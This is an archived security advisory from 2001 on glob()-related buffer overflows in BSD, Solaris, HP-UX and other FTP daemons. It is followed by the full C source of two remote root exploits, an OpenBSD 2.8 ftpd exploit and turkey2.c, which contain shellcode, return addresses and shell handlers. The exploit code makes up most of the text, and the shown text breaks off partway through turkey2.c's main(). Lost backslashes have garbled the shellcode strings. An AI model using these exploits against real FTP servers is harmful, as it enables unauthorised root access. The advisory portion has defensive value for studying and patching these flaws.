TUCoPS :: Unix :: General :: unix4249.htm


TUCoPS :: Unix :: General :: unix4249.htm

Multiple FTPD vulnerabilities
6th Jun 2001 [SBWID-4249]
COMMAND
	ftpd
	
	
SYSTEMS AFFECTED
	Multiple FTP Daemons
	
	
PROBLEM
	Following is based on a Network Associates COVERT Labs Security Advisory
	COVERT-2001-02. Multiple FTP server implementations contain buffer overflows
	that allow local and remote attackers to gain root privileges on affected
	servers. These vulnerabilities are contingent upon the remote user having
	the ability to create directories on the server hosting the FTP daemon,
	with the exception of a few cases noted below. The vulnerabilities
	presented are all related to the use of the glob() function, and can be
	divided into the following two categories:
	 - glob() expansion vulnerabilities
	 User input that has been expanded by glob() can exceed expected
	 lengths and trigger otherwise benign buffer mismanagement
	 problems present in certain FTP daemons.
	
	 - glob() implementation vulnerabilities
	 Certain implementations of the glob() function contain buffer
	 overflows. These vulnerabilities are exploitable through FTP
	 daemons that utilize these problematic implementations.
	
	The following operating systems have been confirmed to contain vulnerable
	FTP daemons:
	
	 FreeBSD 4.2 CAN-2001-0247
	 OpenBSD 2.8
	 NetBSD 1.5
	 IRIX 6.5.x
	 HPUX 11 CAN-2001-0248
	 Solaris 8 CAN-2001-0249
	 UnixWare 7 CSSA-2001-SCO.27
	
	glob() implements filename pattern matching, following rules similar
	to those used by Unix shells. It is a pathname generator, which accepts
	an input pattern representing a set of filenames and returns a list of
	accessible pathnames matching that pattern. The input pattern is specified
	by using special metacharacters, taken from the following: *?[]{}~\'.
	For example, a pattern of \'/e*\' would match all directories and files
	in the root of the file system that begin with the character \'e\'.
	
	The File Transfer Protocol (FTP), as defined in RFC959, describes
	numerous commands with pathname arguments that specify files or directories.
	Though it is not required by the specification, most FTP daemon implementations
	provide server-side globbing functionality that performs pattern expansion
	on these pathnames. The actual glob() implementation is often located
	in the FTP daemon itself, though some FTP servers use an underlying
	libc implementation.
	
	The ability of a remote or local user to deliver input patterns to
	glob() implementations allows for two general types of security exposures.
	
	glob() expansion vulnerabilities ================================ A
	number of vulnerabilities result from an FTP daemon assuming that the
	length of the user input is limited to the number of characters that
	are read in from the socket. This is typically 512 characters. This
	assumption is problematic because most FTP daemons contain a parser rule
	for processing pathnames beginning with a tilde. The intended effect of
	this rule is to replace the tilde directory component with the referenced
	home directory. However, since this is performed by running the string
	through the glob() function, the FTP daemon will also expand any
	other wildcard characters present. This allows for user input that can
	exceed the number of characters read in from the socket, which can make
	otherwise benign unbounded string operations exploitable.
	
	As mentioned above, when an FTP daemon receives a request involving
	a file that has a tilde as its first character, it typically runs the
	entire filename string through globbing code in order to resolve the
	specified home directory into a full path. This has the side effect of
	expanding other metacharacters in the pathname string, which can lead
	to very large input strings being passed into the main command processing
	routines. This can lead to exploitable buffer overflow conditions,
	depending upon how these routines manipulate their input.
	
	In Solaris, an exploitable heap overflow of this nature is triggered
	by using the LIST command. This vulnerability occurs when the FTP daemon
	attempts to construct a string using unbounded string operations in
	order to execute the /bin/ls program.
	
	HPUX contains a stack based overflow of this nature that can be triggered
	by the use of the STAT command.
	
	glob() implementation vulnerabilities
	===================================== Certain glob() implementations
	contain buffer overflows in their internal utility functions. These
	overflows are typically triggered by requesting a pattern that expands
	to a very large pathname, or by submitting a pattern that the user
	intends to have the FTP daemon run through glob() twice.
	
	There are two implementations of glob() that are known to contain
	buffer overflow vulnerabilities.
	
	Implementations based off of the c-shell globbing code contain a buffer
	overflow that can be triggered by supplying a pattern string such that
	a set of brackets {} is followed by a string that is longer than the length
	reserved for the stack based buffer defined in execbrc(). This could
	be exploited by utilizing a code path in the FTP daemon that fed the
	expanded output of one globbed pathname into a second call to glob().
	
	BSD implementations of glob() contain four exploitable buffer overflows.
	The first buffer overflow occurs in the static utility function
	g_opendir(), which copies the provided pathname onto the stack. This
	is performed using the function g_Ctoc, which converts a 16-bit character
	string to an 8-bit character string, but otherwise works like strcpy.
	Similar overflows occur in g_lstat(), and g_stat(). A fourth overflow,
	one that affects the stack based buffer reserved in glob0, is the
	result of the behavior of the mutually recursive functions glob2() and
	glob3().
	
	Note that these vulnerabilities do not require the last component of the
	provided directory to be a valid file, thus allowing exploitation even
	without the ability to create directories and files. Testing has shown
	that it would be possible to exploit OpenBSD and NetBSD without a writable
	directory being present if a directory name with a length of 12 characters
	is available. FreeBSD can be exploited without a writable directory
	being present if a directory name of length 9 is available.
	
	Discovery and documentation of these vulnerabilities was conducted by
	John McDonald and Anthony Osborne of the COVERT Labs at PGP Security.
	
	Tomas Kindahl posted OpenBSD 2.8 ftpd/glob exploit:
	
	 /*
	 OpenBSD 2.x - 2.8 ftpd exploit.
	 It is possible to exploit an anonymous ftp without write permission
	 under certain circumstances. One is most likely to succeed if there
	 is a single directory somewhere with more than 16 characters in its
	 name.
	 Of course, if one has write permissions, one could easily create
	 such a directory.
	 My return values aren\'t that good. Find your own.
	 Patch is available at http://www.openbsd.org/errata.html
	 Example:
	 ftp> pwd
	 257 \"/test\" is current directory.
	 ftp> dir
	 229 Entering Extended Passive Mode (|||12574|)
	 150 Opening ASCII mode data connection for \'/bin/ls\'.
	 total 2
	 drwxr-xr-x 2 1000 0 512 Apr 14 14:14 12345678901234567
	 226 Transfer complete.
	 .....
	 $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost
	 // 230 Guest login ok, access restrictions apply.
	 // 250 CWD command successful.
	 retaddr = dfbeb970
	 Press enter..
	 remember to remove the \"adfa\"-dir
	 id
	 uid=0(root) gid=32766(nogroup) groups=32766(nogroup)
	 The shellcode basically does:
	 seteuid(0); a = open(\"..\", O_RDONLY); mkdir(\"adfa\", 555);
	 chroot(\"adfa\"); fchdir(a); for(cnt = 100; cnt; cnt--)
	 chdir(\"..\");
	 chroot(\"..\"); execve(\"/bin//sh\", ..);
	 Credits:
	 COVERT for their advisory.
	 The OpenBSD devteam for a great OS.
	 beercan for letting me test this on his OpenBSD 2.8-RELEASE
	 Author:
	 Tomas Kindahl <stok@codefactory.se>
	 Stok@{irc,ef}net
	 */
	
	 #include <sys/types.h>
	 #include <sys/socket.h>
	 #include <netinet/in.h>
	 #include <netdb.h>
	 #include <stdio.h>
	 #include <unistd.h>
	 #include <stdlib.h>
	 #include <string.h>
	
	 extern char *optarg;
	 static int debug;
	 int cflag, lflag, sflag;
	
	 /* The execve-part was stolen from \"predator\" */
	 char shellcode[] =
	 \"x31xc0x50x50xb0xb7xcdx80\"
	 \"x58x50x66x68x2ex2ex89xe1\"
	 \"x50x51x50xb0x05xcdx80x89\"
	 \"xc3x58x50x68x61x64x66x61\"
	 \"x89xe2x66x68x6dx01x52x50\"
	 \"xb0x88xcdx80xb0x3dxcdx80\"
	 \"x53x50xb0x01x83xc0x0cxcd\"
	 \"x80x51x50x31xc9xb1x64xb0\"
	 \"x0cxcdx80xe2xfaxb0x3dxcd\"
	 \"x80x31xc0x50x68x2fx2fx73\"
	 \"x68x68x2fx62x69x6ex89xe3\"
	 \"x50x53x50x54x53xb0x3bx50\"
	 \"xcdx80xc3\";
	
	 #define USER \"USER ftprn\"
	 #define PASS \"PASS -user@rn\"
	
	 void usage(const char *);
	 void docmd(int s, const char *cmd, int print);
	 void communicate(int s);
	
	 int main(int argc, char *argv[])
	 {
	 char expbuf[512] = \"LIST \", *basedir, option;
	 char commandbuf[512] = \"\", *hostname;
	 int cnt, dirlen, explen, sendlen;
	 int s, port = 21, pad;
	 long retaddr;
	 struct sockaddr_in sin;
	 struct hostent *he;
	
	 while((option = getopt(argc, argv, \"dc:l:p:s:\")) != -1)
	 switch(option)
	 {
	 case \'d\':
	 debug++;
	 break;
	 case \'c\':
	 cflag = 1;
	 basedir = optarg;
	 break;
	 case \'l\':
	 lflag = 1;
	 dirlen = atoi(optarg);
	 if(dirlen < 16)
	 {
	 usage(argv[0]);
	 exit(0);
	 }
	 break;
	 case \'p\':
	 port = atoi(optarg);
	 break;
	 case \'s\':
	 sflag = 1;
	 retaddr = strtoul(optarg, 0, 0);
	 break;
	 default:
	 usage(argv[0]);
	 exit(0);
	 }
	
	 if(!cflag || !lflag)
	 {
	 usage(argv[0]);
	 exit(0);
	 }
	
	 if(argc - optind == 1)
	 hostname = argv[optind];
	 else
	 {
	 usage(argv[0]);
	 exit(0);
	 }
	
	 if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	 {
	 perror(\"socket\");
	 exit(1);
	 }
	
	 if((he = gethostbyname(hostname)) == NULL)
	 {
	 herror(hostname);
	 exit(0);
	 }
	 memset(&sin, 0, sizeof(struct sockaddr_in));
	 sin.sin_family = AF_INET;
	 sin.sin_port = htons(port);
	 memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));
	 if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)
	 {
	 perror(\"connect\");
	 exit(0);
	 }
	
	 if(debug)
	 fprintf(stderr, \"// basedir = \"%s\"n\", basedir);
	
	 /* \"untrusted input\"? */
	 for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)
	 strcat(expbuf, \"*/../\");
	 strcat(expbuf, \"*/\");
	 if(debug)
	 fprintf(stderr, \"// expbuf = \"%s\"n\", expbuf);
	
	 explen = cnt*(dirlen+4) + dirlen + 1;
	 if(debug)
	 fprintf(stderr, \"// explen = %dn\", explen);
	
	 sendlen = strlen(expbuf);
	 if(debug)
	 fprintf(stderr, \"// sendlen = %dn\", sendlen);
	
	 docmd(s, \"\", 0);
	
	 docmd(s, USER, 0);
	 docmd(s, PASS, 1);
	
	 snprintf(commandbuf, sizeof(commandbuf), \"CWD %srn\", basedir);
	 docmd(s, commandbuf, 1);
	
	
	 /*************************/
	
	 pad = 1027 - explen;
	 if(debug)
	 fprintf(stderr, \"// pad = %dn\", pad);
	
	 for(; pad>= 0; pad--)
	 strcat(expbuf, \"x\");
	
	 /* return address */
	 if(!sflag)
	 {
	 switch(dirlen)
	 {
	 case 16:
	 retaddr = 0xdfbeab60;
	 case 26:
	 retaddr = 0xdfbefe40;
	 default:
	 /* I don\'t have the patience to investigate this. */
	 retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;
	 }
	 retaddr+=20;
	 }
	
	 fprintf(stderr, \"retaddr = %.8lxn\", retaddr);
	 /* endian dependant */
	 strncat(expbuf, (char *) &retaddr, 4);
	
	 for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)
	 strcat(expbuf, \"x90\");
	
	 strcat(expbuf, shellcode);
	
	 strcat(expbuf, \"rn\");
	 /*************************/
	
	 fprintf(stderr, \"Press enter..\"); fflush(stderr);
	 fgets(commandbuf, sizeof(commandbuf)-1, stdin);
	
	 docmd(s, expbuf, 0);
	
	 fprintf(stderr, \"remember to remove the \"adfa\"-dirn\");
	 communicate(s);
	
	 return 0;
	 }
	
	 void usage(const char *s)
	 {
	 fprintf(stderr, \"Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostnamen\", s);
	 }
	
	 void docmd(int s, const char *cmd, int print)
	 {
	 char uglybuf[1024];
	 int len;
	 fd_set rfds;
	 struct timeval tv;
	
	 len = strlen(cmd);
	 if(debug)
	 {
	 write(STDERR_FILENO, \"\\\\ \", 3);
	 write(STDERR_FILENO, cmd, len);
	 }
	 if(send(s, cmd, len, 0) != len)
	 {
	 perror(\"send\");
	 exit(0);
	 }
	
	 FD_ZERO(&rfds);
	 FD_SET(s, &rfds);
	 tv.tv_sec = 1;
	 tv.tv_usec = 0;
	 select(s+1, &rfds, NULL, NULL, &tv);
	 if(FD_ISSET(s, &rfds))
	 {
	 if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)
	 {
	 perror(\"recv\");
	 exit(0);
	 }
	 if(len == 0)
	 {
	 fprintf(stderr, \"EOF on socket. Sorry.n\");
	 exit(0);
	 }
	 if(debug || print)
	 {
	 write(STDERR_FILENO, \"// \", 3);
	 write(STDERR_FILENO, uglybuf, len);
	 }
	 }
	 }
	
	 void communicate(int s)
	 {
	 char buf[1024];
	 int len;
	 fd_set rfds;
	
	 while(1)
	 {
	 FD_ZERO(&rfds);
	 FD_SET(STDIN_FILENO, &rfds);
	 FD_SET(s, &rfds);
	 select(s+1, &rfds, NULL, NULL, NULL);
	 if(FD_ISSET(STDIN_FILENO, &rfds))
	 {
	 if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)
	 return;
	 if(send(s, buf, len, 0) == -1)
	 return;
	 }
	 if(FD_ISSET(s, &rfds))
	 {
	 if((len = recv(s, buf, sizeof(buf), 0)) <= 0)
	 return;
	 if(write(STDOUT_FILENO, buf, len) == -1)
	 return;
	 }
	 }
	 }
	
	\'fish stiqz\' posted following. You must have an account on the system
	to be able to use the exploit. You could theoretically be an anonymous
	user with access to a writeable directory, but it would require a chroot
	break, which is not included in the exploit. turkey2.c works by
	default on all unpatched FreeBSD 4.[0-2] running the default ftp server
	and OpenBSD 2.8. It should work elsewhere with a tiny bit of tuning.
	
	 /*
	 * turkey2.c - \"gobble gobble\"
	 *
	 * REMOTE ROOT EXPLOIT FOR BSD FTPD
	 * by: fish stiqz <fish@analog.org> 04/14/2001
	 *
	 * shouts: trey, dono, hampton and The Analog Organization.
	 *
	 * Notes:
	 * Doesn\'t break chroot so requires an account.
	 *
	 * Fixed a design issue I had previously overlooked.
	 * Added support for OpenBSD 2.8 =).
	 *
	 */
	
	 #include <sys/types.h>
	 #include <sys/socket.h>
	 #include <netdb.h>
	 #include <netinet/in.h>
	 #include <arpa/inet.h>
	 #include <unistd.h>
	 #include <stdio.h>
	 #include <stdlib.h>
	 #include <string.h>
	 #include <errno.h>
	 #include <time.h>
	 #include <ctype.h>
	 #include <pwd.h>
	
	
	 #define FTP_PORT 21
	 #define MAXX(a,b) ((a) < (b) ? (b) : (a))
	
	 #define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */
	
	 extern int errno;
	
	 int debug_read;
	 int debug_write;
	
	
	 /*
	 * Non-ripped 45 byte bsd shellcode which does setuid(0) and execve()
	 * and does not contain any \'/\' characters.
	 */
	 char bsdcode[] =
	 \"x29xc0x50xb0x17x50xcdx80\"
	 \"x29xc0x50xbfx66x69x73x68\"
	 \"x29xf6x66xbex49x46x31xfe\"
	 \"x56xbex49x0bx1ax06x31xfe\"
	 \"x56x89xe3x50x54x50x54x53\"
	 \"xb0x3bx50xcdx80\";
	
	
	 /* architecture structure */
	 struct arch {
	 char *description;
	 char *shellcode;
	 unsigned long code_addr;
	 };
	
	
	 /* available targets */
	 struct arch archlist[] =
	 {
	 { \"FreeBSD 4.X (FTP server (Version 6.00LS))\", bsdcode, 0xbfbfc2c8 },
	 { \"OpenBSD 2.8 (FTP server (Version 6.5/OpenBSD))\", bsdcode, 0xdfbfa1c8 }
	 };
	
	
	 /*
	 * function prototypes.
	 */
	 void *Malloc(size_t);
	 void *Realloc(void *, size_t);
	 char *Strdup(char *);
	 int get_ip(struct in_addr *, char *);
	 int tcp_connect(char *, unsigned int);
	 ssize_t write_sock(int, char *);
	 int sock_readline(int, char *, int);
	 char *read_sock(int);
	 int ftp_login(int, char *, char *);
	 char *ftp_gethomedir(int);
	 int ftp_mkdir(int, char *);
	 int ftp_chdir(int, char *);
	 int ftp_quit(int);
	 void possibly_rooted(int);
	 char *random_string(void);
	 void send_glob(int, char *);
	 int ftp_glob_exploit(int, char *, unsigned long, char *);
	 int verify_shellcode(char *);
	 void usage(char *);
	 void list_targets(void);
	
	
	 /*
	 * Error cheq\'n wrapper for malloc.
	 */
	 void *Malloc(size_t n)
	 {
	 void *tmp;
	
	 if((tmp = malloc(n)) == NULL)
	 {
	 fprintf(stderr, \"malloc(%u) failed! exiting...n\", n);
	 exit(EXIT_FAILURE);
	 }
	
	 return tmp;
	 }
	
	
	 /*
	 * Error cheq\'n realloc.
	 */
	 void *Realloc(void *ptr, size_t n)
	 {
	 void *tmp;
	
	 if((tmp = realloc(ptr, n)) == NULL)
	 {
	 fprintf(stderr, \"realloc(%u) failed! exiting...n\", n);
	 exit(EXIT_FAILURE);
	 }
	
	 return tmp;
	 }
	
	
	 /*
	 * Error cheq\'n strdup.
	 */
	 char *Strdup(char *str)
	 {
	 char *s;
	
	 if((s = strdup(str)) == NULL)
	 {
	 fprintf(stderr, \"strdup failed! exiting...n\");
	 exit(EXIT_FAILURE);
	 }
	
	 return s;
	 }
	
	
	 /*
	 * translates a host from its string representation (either in numbers
	 * and dots notation or hostname format) into its binary ip address
	 * and stores it in the in_addr struct passed in.
	 *
	 * return values: 0 on success, != 0 on failure.
	 */
	 int get_ip(struct in_addr *iaddr, char *host)
	 {
	 struct hostent *hp;
	
	 /* first check to see if its in num-dot format */
	 if(inet_aton(host, iaddr) != 0)
		 return 0;
	
	 /* next, do a gethostbyname */
	 if((hp = gethostbyname(host)) != NULL)
	 {
		 if(hp->h_addr_list != NULL)
		 {
		 memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
		 return 0;
		 }
		 return -1;
	 }
	
	 return -1;
	 }
	
	
	 /*
	 * initiates a tcp connection to the specified host (either in
	 * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
	 * to the host\'s tcp port.
	 *
	 * return values: != -1 on success, -1 on failure.
	 */
	 int tcp_connect(char *host, unsigned int port)
	 {
	 int sock;
	 struct sockaddr_in saddress;
	 struct in_addr *iaddr;
	
	 iaddr = Malloc(sizeof(struct in_addr));
	
	 /* write the hostname information into the in_addr structure */
	 if(get_ip(iaddr, host) != 0)
		 return -1;
	
	 saddress.sin_addr.s_addr = iaddr->s_addr;
	 saddress.sin_family = AF_INET;
	 saddress.sin_port = htons(port);
	
	 /* create the socket */
	 if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		 return -1;
	
	 /* make the connection */
	 if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
	 {
		 close(sock);
		 return -1;
	 }
	
	 /* everything succeeded, return the connected socket */
	 return sock;
	 }
	
	
	 /*
	 * a wrapper for write to enable us to do some debugging.
	 */
	 int write_sock(int fd, char *buf)
	 {
	 if(debug_write)
	 	 printf(\"> %s\", buf);
	
	 return write(fd, buf, strlen(buf));
	 }
	
	 /*
	 * reads a line from the socket, stores it into buffer,
	 * doesnt null terminate.
	 */
	 int sock_readline(int sock, char *buffer, int maxsize)
	 {
	 int x, r;
	 char rchar;
	
	 for(x = 0; x < maxsize; x++)
	 {
		 /* read in one character from the socket */
		 if((r = read(sock, &rchar, 1)) == 1)
		 {
		 buffer[x] = rchar;
	
		 if(rchar == \'n\')
			 break;
		 }
		 else
		 return -1;
	 }
	
	 return x;
	 }
	
	 /*
	 * reads in an entire message from the ftp server.
	 */
	 char *read_sock(int sock)
	 {
	 char ibuf[8192], *bigbuf = NULL;
	 int r;
	 unsigned int total = 0;
	
	 for(;;)
	 {
		 memset(ibuf, 0x0, sizeof(ibuf));
		 r = sock_readline(sock, ibuf, sizeof(ibuf) - 1);
	
		 bigbuf = Realloc(bigbuf, (total + strlen(ibuf) + 1) * sizeof(char));
		 memcpy(bigbuf + total, ibuf, strlen(ibuf));
		 bigbuf[total + strlen(ibuf)] = 0x0;
		 total += strlen(ibuf);
	
		 if(strlen(ibuf) < 4)
		 break;
	
		 /* multi-lined responses have a dash as the 4th character */
		 if(ibuf[3] != \'-\')
		 break;
	 }
	
	 if(debug_read)
	 {
		 printf(\" < %s\", bigbuf);
		 fflush(stdout);
	 }
	
	 return bigbuf;
	
	 }
	
	
	 /*
	 * FTP LOGIN function. Issues a \"USER <username> and then \"PASS <password>\"
	 * to login to the remote host and checks that command succeeded.
	 */
	 int ftp_login(int sock, char *username, char *password)
	 {
	 char *recvbuf;
	 char *sendbuf;
	 char *header;
	
	 header = read_sock(sock);
	 printf(\"tserver runs:t%s\", header);
	 free(header);
	
	 sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) *
			 sizeof(char));
	
	 sprintf(sendbuf, \"USER %sn\", username);
	
	 write_sock(sock, sendbuf);
	 recvbuf = read_sock(sock);
	
	 if(atoi(recvbuf) != 331)
	 {
		 free(recvbuf);
		 return 0;
	 }
	
	 sprintf(sendbuf, \"PASS %sn\", password);
	 write_sock(sock, sendbuf);
	 recvbuf = read_sock(sock);
	
	 if(atoi(recvbuf) != 230)
	 {
		 free(recvbuf);
		 return 0;
	 }
	
	 free(sendbuf);
	 return 1;
	
	 }
	
	
	 /*
	 * FTP GET HOME DIR function. Issues a \"CWD ~\" and \"PWD\" to
	 * force the ftp daemon to print our our current directory.
	 */
	 char *ftp_gethomedir(int sock)
	 {
	 char *recvbuf;
	 char *homedir = NULL;
	
	 write_sock(sock, \"CWD ~n\");
	 recvbuf = read_sock(sock);
	
	 if(atoi(recvbuf) == 250)
	 {
		 write_sock(sock, \"PWDn\");
		 recvbuf = read_sock(sock);
	
		 if(atoi(recvbuf) == 257)
		 {
		 char *front, *back;
	
		 front = strchr(recvbuf, \'\"\');
		 front++;
		 back = strchr(front, \'\"\');
	
		 homedir = Malloc((back - front) * sizeof(char));
		 strncpy(homedir, front, (back - front));
		 homedir[(back - front)] = 0x0;
		 }
	 }
	
	 free(recvbuf);
	 return homedir;
	 }
	
	
	 /*
	 * FTP MKDIR function. Issues an \"MKD <dirname>\" to create a directory on
	 * the remote host and checks that the command succeeded.
	 */
	 int ftp_mkdir(int sock, char *dirname)
	 {
	 char *recvbuf;
	 char *sendbuf;
	
	 sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
	 sprintf(sendbuf, \"MKD %sn\", dirname);
	
	 write_sock(sock, sendbuf);
	 recvbuf = read_sock(sock);
	
	 free(sendbuf);
	
	 if(atoi(recvbuf) == 257)
	 {
		 free(recvbuf);
		 return 1;
	 }
	
	 free(recvbuf);
	 return 0;
	 }
	
	
	 /*
	 * FTP CWD function. Issues a \"CWD <dirname>\" to change directory on
	 * the remote host and checks that the command succeeded.
	 */
	 int ftp_chdir(int sock, char *dirname)
	 {
	 char *recvbuf;
	 char *sendbuf;
	
	 sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
	 sprintf(sendbuf, \"CWD %sn\", dirname);
	
	 write_sock(sock, sendbuf);
	 recvbuf = read_sock(sock);
	
	 free(sendbuf);
	
	 if(atoi(recvbuf) == 250)
	 {
		 free(recvbuf);
		 return 1;
	 }
	
	 free(recvbuf);
	 return 0;
	 }
	
	
	 /*
	 * FTP QUIT function. Issues a \"QUIT\" to terminate the connection.
	 */
	 int ftp_quit(int sock)
	 {
	 char *recvbuf;
	
	 write_sock(sock, \"QUITn\");
	 recvbuf = read_sock(sock);
	 free(recvbuf);
	
	 close(sock);
	 return 1;
	 }
	
	 /*
	 * switches between the user and the remote shell (if everything went well).
	 */
	 void possibly_rooted(int sock)
	 {
	 char banner[] =
		 \"cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, \"
		 \"enter commands at will; echo;nn\";
	
	 char buf[1024];
	 fd_set fds;
	 int r;
	
	 write(sock, banner, strlen(banner));
	
	 for(;;)
	 {
	 FD_ZERO(&fds);
	 FD_SET(fileno(stdin), &fds);
	 FD_SET(sock, &fds);
	 select(255, &fds, NULL, NULL, NULL);
	
	 if(FD_ISSET(sock, &fds))
	 {
	 memset(buf, 0x0, sizeof(buf));
	 r = read (sock, buf, sizeof(buf) - 1);
	 if(r <= 0)
	 {
	 printf(\"Connection closed.n\");
	 exit(EXIT_SUCCESS);
	 }
	 printf(\"%s\", buf);
	 }
	
	 if(FD_ISSET(fileno(stdin), &fds))
	 {
	 memset(buf, 0x0, sizeof(buf));
	 read(fileno(stdin), buf, sizeof(buf) - 1);
	 write(sock, buf, strlen(buf));
	 }
	 }
	 close(sock);
	 }
	
	
	 /*
	 * generates a string of 6 random characters.
	 * this is too allow for multiple successful runs, best way to do
	 * this is to actually remove the created directories.
	 */
	 char *random_string(void)
	 {
	 int i;
	 char *s = Malloc(7 * sizeof(char));
	
	 srand(time(NULL));
	 for(i = 0; i < 6; i++)
	 s[i] = (rand() % (122 - 97)) + 97;
	
	 s[i] = 0x0;
	 return s;
	 }
	
	
	 /*
	 * sends the glob string, to overflow the daemon.
	 */
	 void send_glob(int sock, char *front)
	 {
	 char globbed[] = \"CWD ~/NNNNNN*/X*/X*/X*n\";
	 int i, j;
	
	 for(i = 6, j = 0; i < 6 + 6; i++, j++)
		 globbed[i] = front[j];
	
	 write_sock(sock, globbed);
	
	 printf(\"[5] Globbed commands sent.n\");
	 free(front);
	
	 /* start our shell handler */
	 possibly_rooted(sock);
	 }
	
	
	 /*
	 * Exploitation routine.
	 * Makes 4 large directories and then cwd\'s to them.
	 */
	 int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char *shellcode)
	 {
	 char dir[300];
	 int i = 0, j = 0;
	 int total = strlen(homedir) + 1;
	 int align;
	 char *rstring = random_string();
	
	 /* go to the writeable directory */
	 if(!ftp_chdir(sock, homedir))
	 {
		 fprintf(stderr, \"[-] Failed to change directory, aborting!n\");
		 return 0;
	 }
	
	 for(i = 0; i < 4; i++)
	 {
		 memset(dir, 0x0, sizeof(dir));
	
		 switch(i)
		 {
		 case 0: /* first dir == shellcode */
		 memcpy(dir, rstring, strlen(rstring));
		 memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));
		 memcpy(&dir[(255 - strlen(shellcode))], shellcode, strlen(shellcode));
		 break;
	
		 case 3: /* address buffer */
		 /* calculate the alignment */
		 align = total % sizeof(long);
		 align = sizeof(long) - align;
	
		 printf(\"[3] Calculated alignment = %d, total = %dn\",
			 align, total);
	
		 strcpy(dir, \"XXXX\");
		 memset(dir + 4, \'X\', align);
	
		 for(j = 4 + align; j < 250; j += 4)
		 {
			 /* leet portable bit shifting */
			 /* brought to you by trey */
			 unsigned long p_addy = htonl(addy);
			 dir[j + 0] = p_addy & 0xff;
			 dir[j + 1] = (p_addy & 0xff00)>> 8;
			 dir[j + 2] = (p_addy & 0xff0000)>> 16;
			 dir[j + 3] = (p_addy & 0xff000000)>> 24;
		 }
		 break;
	
		 default: /* cases 1 and 2, extra overflow bytes */
		 memset(dir, \'X\', 255);
		 break;
	
		 }
	
		 total += strlen(dir) + 1;
	
		 if(!ftp_mkdir(sock, dir))
		 {
		 fprintf(stderr, \"[-] Failed to generate directories, aborting!n\");
		 return 0;
		 }
	
		 if(!ftp_chdir(sock, dir))
		 {
		 fprintf(stderr, \"[-] Failed to change directory, aborting!n\");
		 return 0;
		 }
	 }
	
	 printf(\"[4] Evil directories created.n\");
	
	 if(!ftp_chdir(sock, homedir))
	 {
		 fprintf(stderr, \"[-] Failed to cwd back to %s, aborting!n\", homedir);
		 return 0;
	 }
	
	 /* perform the final attack */
	 send_glob(sock, rstring);
	
	 return 1;
	 }
	
	
	 /*
	 * returns true if the shellcode passes, false otherwise.
	 */
	 int verify_shellcode(char *code)
	 {
	 int i, s = 0;
	
	 if(strlen(code)> 255)
	 {
		 fprintf(stderr, \"[-] Shellcode length exceeds 255, aborting!n\");
		 return 0;
	 }
	
	 for(i = 0; i < strlen(code); i++)
	 {
		 if(code[i] == \'/\')
		 s++;
	 }
	
	 if(s> 0)
	 {
		 fprintf(stderr,
			 \"[-] Shellcode contains %u slash characters, abortingn\", s);
		 return 0;
	 }
	
	 return 1;
	 }
	
	
	 /*
	 * displays the usage message and exits.
	 */
	 void usage(char *p)
	 {
	 fprintf(stderr,
		 \"BSD ftpd remote exploit by fish stiqz <fish@analog.org>n\"
		 \"usage: %s [options]n\"
		 \"t-ctremote host to connect ton\"
		 \"t-otremote port to usen\"
		 \"t-utremote usernamen\"
		 \"t-ptremote passwordn\"
		 \"t-itget the password interactivelyn\"
		 \"t-ttpredefined target (\"-t list\" to list all targets)n\"
		 \"t-dtwriteable directoryn\"
		 \"t-ltshellcode addressn\"
		 \"t-vtdebug level [0-2]n\"
		 \"t-stseconds to sleep after login (debugging purposes)n\"
		 \"t-htdisplay this helpn\", p);
	
	 exit(EXIT_FAILURE);
	 }
	
	 /*
	 * lists all available targets.
	 */
	 void list_targets(void)
	 {
	 int i;
	
	 printf(\"Available Targets:n\");
	
	 for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
	 printf(\"%i: %sn\", i, archlist[i].description);
	
	 return;
	 }
	
	
	 int main(int argc, char **argv)
	 {
	 int sock, c;
	 int port = FTP_PORT;
	 int debuglevel = 0;
	 char *host = NULL;
	 char *username = NULL;
	 char *password = NULL;
	
	 struct arch *arch = NULL;
	 char *shellcode = bsdcode;
	 int target = 0;
	 int sleep_time = 0;
	 unsigned long code_addr = 0;
	 char *homedir = NULL;;
	
	 /* grab command line parameters */
	 while((c = getopt(argc, argv, \"c:o:u:p:it:d:l:v:s:h\")) != EOF)
	 {
		 switch(c)
		 {
		 case \'c\':
		 host = Strdup(optarg);
		 break;
	
		 case \'o\':
		 port = atoi(optarg);
		 break;
	
		 case \'u\':
		 username = Strdup(optarg);
		 break;
	
		 case \'p\':
		 password = Strdup(optarg);
		 /* hide the password from ps */
		 memset(optarg, \'X\', strlen(optarg));
		 break;
	
		 case \'i\':
		 password = getpass(\"Enter remote password: \");
		 break;
	
		 case \'t\':
		 if(strcmp(optarg, \"list\") == 0)
		 {
			 list_targets();
			 return EXIT_FAILURE;
		 }
	
		 target = atoi(optarg);
		 arch = &(archlist[target]);
		 code_addr = ntohl(arch->code_addr);
		 shellcode = arch->shellcode;
		 break;
	
		 case \'d\':
		 homedir = Strdup(optarg);
		 break;
	
		 case \'l\':
		 code_addr = ntohl(strtoul(optarg, NULL, 0));
		 break;
	
		 case \'v\':
		 debuglevel = atoi(optarg);
		 break;
	
		 case \'s\':
		 sleep_time = atoi(optarg);
		 break;
	
		 default:
		 usage(argv[0]);
		 break;
		 }
	 }
	
	
	 /* check for required options */
	 if(host == NULL || username == NULL || password == NULL || code_addr == 0)
